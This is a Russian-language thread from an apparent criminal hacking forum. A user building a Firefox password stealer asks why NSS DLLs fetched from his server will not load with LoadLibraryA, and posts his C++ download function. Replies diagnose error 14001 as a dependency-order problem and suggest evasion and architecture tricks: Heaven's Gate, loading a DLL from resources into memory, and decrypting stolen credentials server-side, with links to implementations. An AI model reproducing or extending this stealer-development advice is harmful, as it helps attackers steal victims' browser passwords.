• XSS.stack #1 – первый литературный журнал от юзеров форума

Проблема с загрузкой dll firefox

Jurddox

RAID-массив
Забанен
Регистрация
22.09.2020
Сообщения
93
Реакции
4
Пожалуйста, обратите внимание, что пользователь заблокирован
Короче стоит задача мне написать стиллер для firefox, я гружу dll с сервера, вот функция которая загружает dllки
C++:
DWORD DownloadFile(char* url, char* filePath)
{
    HINTERNET    hInetSession;
     HINTERNET    hInetFile;
     HANDLE         hFile;
     OVERLAPPED ovlp;
     DWORD         dwOffset = 0;
     DWORD         dwRead;
     TCHAR           ReadBuf[4 * 1024];

     hInetSession = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)", PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
     if (hInetSession == NULL)
     {
         return -1;
     }

     hInetFile = InternetOpenUrlA(hInetSession, url, NULL, 0, 0, NULL);
     if (hInetFile == NULL)
     {
         return -1;
     }

     hFile = CreateFileA(filePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
     if (hFile == INVALID_HANDLE_VALUE)
     {
         InternetCloseHandle(hInetSession);
         InternetCloseHandle(hInetFile);
         return -1;
     }

     do
     {
         InternetReadFile(hInetFile, ReadBuf, sizeof(ReadBuf), &dwRead);
         if (dwRead >= 0)
         {
             ovlp.hEvent = NULL;
             ovlp.OffsetHigh = NULL;
             ovlp.Offset = GetFileSize(hFile, NULL);

             WriteFile(hFile, ReadBuf, dwRead, NULL, &ovlp);
             dwOffset += dwRead;
         }
         else
         {
             InternetCloseHandle(hInetSession);
             InternetCloseHandle(hInetFile);

             hInetSession = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)", PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
             if (hInetSession == NULL)
             {
                 CloseHandle(hFile);
                 return -1;
             }

             hInetFile = InternetOpenUrlA(hInetSession, url, NULL, 0, 0, NULL);
             if (hInetFile == NULL)
             {
                 CloseHandle(hFile);
                 InternetCloseHandle(hInetSession);
                 return -1;
             }

             InternetSetFilePointer(hInetFile, dwOffset, NULL, FILE_BEGIN, NULL);
         }
     } while (dwRead);

     CloseHandle(hFile);
     InternetCloseHandle(hInetSession);
     InternetCloseHandle(hInetFile);
     return 1;
}
Функция вроде норм, но я думаю, что вся фигня из за нее
Так короче идем дальше, я загрузил с серва dllки их 4 - freebl3, mozglue, nss3, softokn3, дальше я их поместил в одну дерикторию вызвал функцию SetCurrentDirectoryA, передав аргумент, самого пути к папке с dllками, далее делаю загружаю nss3.dll - LoadLibraryA("nss3.dll"), возвращает 00000000, так вот с этими скачаннами файлами ничего не выходит, я даже пытался эти файлы скачанные закинуть отдельно в одну папку и попробовать сделать те дейстивия(думал проблемы с асинхронностью), так вот когда я пробую загрузить уже не скачанные файлы, а это dllки чисто из firefox, то он выводит все норм указатель на память. Я думаю это, что то в функции с загрузкой файла, хз. Сори если было много ошибок и написал много х#йни не понятной)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А ты уверен в том, что все dll скачены? Вроде была такая утилита от майков, которая исчет dll зависимости (тут мемберы могут подсказать). Возможно не правильно загружает. Сперва попробуй UrlDownloadToFile, если все норм, то перепиши на том, что выше. А какой код ошибки то?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
дальше я их поместил в одну дерикторию вызвал функцию SetCurrentDirectoryA, передав аргумент, самого пути к папке с dllками, далее делаю загружаю nss3.dll - LoadLibraryA("nss3.dll"), возвращает 00000000,
Эмм, а что мешает грузить длл по полным путям, а не по относительным? И потом, код ошибки какой?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А ты уверен в том, что все dll скачены? Вроде была такая утилита от майков, которая исчет dll зависимости (тут мемберы могут подсказать). Возможно не правильно загружает. Сперва попробуй UrlDownloadToFile, если все норм, то перепиши на том, что выше. А какой код ошибки то?
Я же писал, что пробовал закинуть чистые dllки из firefox все норм было
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Эмм, а что мешает грузить длл по полным путям, а не по относительным? И потом, код ошибки какой?
Да какая разница, все равно так не загружает, я пробовал чистые dll все ок
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да какая разница, все равно так не загружает, я пробовал чистые dll все ок
Большая разница. Код ошибки выведи.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
14001
Вероятно при загрузки DLL, загрузчик пытается загрузить другую DLL, которую не может найти. Попробуй посмотреть, какая DLL зависит от какой и загружать их в правильном порядке.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И потом, если ты сомниваешься, что корректно выкачал DLLки, то какая проблема проверить это?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вероятно при загрузки DLL, загрузчик пытается загрузить другую DLL, которую не может найти. Попробуй посмотреть, какая DLL зависит от какой и загружать их в правильном порядке.
А ты уверен в том, что все dll скачены? Вроде была такая утилита от майков, которая исчет dll зависимости (тут мемберы могут подсказать).
Ля, забыл название. Но проблема сто пудов потому что dll не хватает...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вообще мне не дает покоя один вопрос. В чем сокровенный смысл этого? За каким хером их вообще скачивать? Если у пользователя установлен Firefox, то эти DLLки у него уже есть. Почему их просто не загрузить из папки Firefox'а? Если у пользователя Firefox не установлен, то в принципе не имеет смысла их выкачивать тем более, тк собирать пароли неоткуда.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если твой exe скомпелирован под x32, а у жертвы x64 nss3.dll то не сможешь dll подключить и дешифровать пароль
Вообще мне не дает покоя один вопрос. В чем сокровенный смысл этого? За каким хером их вообще скачивать? Если у пользователя установлен Firefox, то эти DLLки у него уже есть. Почему их просто не загрузить из папки Firefox'а? Если у пользователя Firefox не установлен, то в принципе не имеет смысла их выкачивать тем более, тк собирать пароли неоткуда.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если твой exe скомпелирован под x32, а у жертвы x64 nss3.dll то не сможешь dll подключить и дешифровать пароль
Что мешает 32-битной версии стилера выкачать 64-битную версию того же стилера? Это всяко будет меньше по объему, чем качать эту пачку DLL. Потом можно было бы через Heavens Gate попробовать.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что мешает 32-битной версии стилера выкачать 64-битную версию того же стилера? Это всяко будет меньше по объему, чем качать эту пачку DLL. Потом можно было бы через Heavens Gate попробовать.
например я так делал. У меня была dll x64, я его таскал в реусрсах, а когда надо было выгружал в память. Heaven's gate хз, можно и попробовать.

В идеале иметь exe версию софта, которая в рантайме с гейта подгружает соотвествуенную сборку dll стилера. А после запускает в память
 
"Качественный" софт который тащит что-то с сервера или в ресурсах таскает.
Зачем изучать алгоритм и переписывать его, если можно просто вызвать единственный нужный алгоритм из библиотеки функционала которой использовать больше не будешь.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
"Качественный" софт который тащит что-то с сервера или в ресурсах таскает.
Зачем изучать алгоритм и переписывать его, если можно просто вызвать единственный нужный алгоритм из библиотеки функционала которой использовать больше не будешь.
Ты утверждаешь, что больше не будет обнов firefox? И писать свой алгоритм дешифровки под 1 версию лисы?
 
Ты утверждаешь, что больше не будет обнов firefox? И писать свой алгоритм дешифровки под 1 версию лисы?
Хороший софт умеет расшифровывать и выполнять остальные действия без использования кучи мусора, так наверное так и надо делать?
Выходит обновление - выкатывает и софт.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А вообще, вместо того чтобы таскать дллки/писать костыли - можно расшифровывать на сервере.
Реализация на питоне: https://xss.pro/threads/38575/post-235533
Реализация на голанге: https://xss.pro/threads/38575/post-251074
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх